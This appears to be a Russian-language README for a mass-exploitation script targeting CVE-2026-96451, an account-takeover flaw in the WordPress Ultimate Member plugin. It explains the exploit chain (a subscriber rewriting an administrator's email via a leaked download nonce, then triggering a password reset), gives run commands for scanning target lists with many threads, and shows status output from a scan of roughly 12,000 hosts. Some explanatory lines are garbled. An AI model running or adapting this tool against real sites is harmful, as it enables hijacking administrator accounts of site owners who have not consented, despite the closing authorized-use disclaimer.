
WordPress Ultimate Member plugin <= 2.13.1 - уязвимость повышения привилегий
Плагин WordPress Ultimate Member <= 2.13.1 — уязвимость повышения привилегий
Ultimate Member <= 2.13.1 — повышение привилегий / захват аккаунта
📌 Официальная запись: CVE-2026-96451
Из CVE.org:
Уязвимость обхода авторизации через контролируемый пользователем ключ в Ultimate Member Ultimate Member ultimate-member позволяет повысить привилегии. Проблема затрагивает Ultimate Member: от n/a до 2.13.1.
| Поле | Значение |
|---|---|
| 🆔 CVE | CVE-2026-96451 |
| 🏷️ CWE | CWE-639 — обход авторизации через контролируемый пользователем ключ |
| 📊 CVSS 3.1 | 8.8 HIGH AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| 🏢 Назначивший | Patchstack |
| ⚠️ Затронуто | Ultimate Member до 2.13.1 |
| ✅ Исправлено | 2.14.0 |
Авторизованный подписчик может изменить email другого пользователя (обычно администратора). WordPress затем принимает сброс пароля для этого нового почтового ящика.
um_fetch_user($user_id) и переключает глобального пользователя на ID из URL.download_routing() возвращается без um_reset_user()._um_account=1, user_email=...).account_submit() читает um_user('ID') — теперь это жертва — и записывает новый email.Nonce загрузки — это wp_create_nonce($user_id . $form_id . 'um-download-nonce'). Он привязан к этому ID пользователя. Его нельзя придумать. Скрипт копирует его из видимой ссылки /um-download/{form}/{field}/{user}/{nonce}/.
Пользовательское поле file или image должно отображаться в профиле. Встроенные фото профиля/обложки не создают эту ссылку.
pip install requests rich
Регистрация, вход, сбор nonce, эксплуатация и проверка сброса выполняются автоматически. Вы не создаёте аккаунты вручную и не передаёте пароль подписчика для массового сканирования.
python CVE-2026-96451.py -l targets.txt -t 80 --email "[email protected]" -o um_takeover.txt
Что эта команда делает на каждом хосте:
/account//um-download/ (предпочитает ID пользователя 1, затем любого участника с файлом)--emailwp-login.php?action=lostpassword (WordPress здесь не требует nonce)um_takeover.txt--email — это почтовый ящик, который устанавливается на целевой аккаунт, чтобы вы могли получить письмо для сброса. Скрипт не открывает входящие и не устанавливает новый пароль. Этот последний шаг выполняется вручную.
python CVE-2026-96451.py -u "https://example.com" --email "[email protected]"
| Флаг | Назначение | По умолчанию |
|---|---|---|
-l / --list | Файл с целями | — |
-u / --url | Одна цель | — |
-t / --threads | Рабочие потоки | 10 |
-o / --output | Файл результатов | um_takeover.txt |
--email | Почтовый ящик, записываемый жертве | генерируется автоматически |
--target-id | Предпочитаемый ID пользователя | 1 |
--user / --password | Использовать существующего подписчика вместо регистрации | выкл. |
-v / --verbose | Выводить каждый этап | выкл. |
На медленной машине с RDP достаточно 80–150 потоков. При сканировании списка на каждый хост отводится около 22 секунд.
[5400/11965] RST:0 CHG:0 UM:4463 REG:589 rf:3874 lf:0 na:141 nd:448 nc:0 no:937
| Код | Значение |
|---|---|
RST / CHG | Email изменён и/или сброс принят — проверьте входящие |
UM | Обнаружен Ultimate Member |
REG | Авторегистрация создала сессию |
rf | Нет публичной формы, CAPTCHA, одобрения или активации по email |
lf | Зарегистрирован, но вход не удался |
na | Страница аккаунта / nonce отсутствует |
nd | Нет видимого nonce загрузки (нет пользовательского поля файла) |
nc | Эксплойт отправлен, изменение не подтверждено |
no | Не Ultimate Member |
REG_FAIL на многих хостах — это нормально. Цепочка продолжается только там, где регистрация создаёт сессию и видна ссылка загрузки.
Когда появляется RST или CHG:
--email/wp-login.php или /wp-admin/Этот проект предназначен только для авторизованных исследований в области безопасности — систем, которыми вы владеете или на тестирование которых у вас есть письменное разрешение.
Несанкционированный доступ к компьютерным системам незаконен. Автор не несёт ответственности за неправомерное использование, ущерб или любые последствия работы этого программного обеспечения. Вы несёте полную ответственность за то, как оно используется, и за каждую цель, которую вы сканируете.
Автор: Nxploited ( Khaled Alenazi )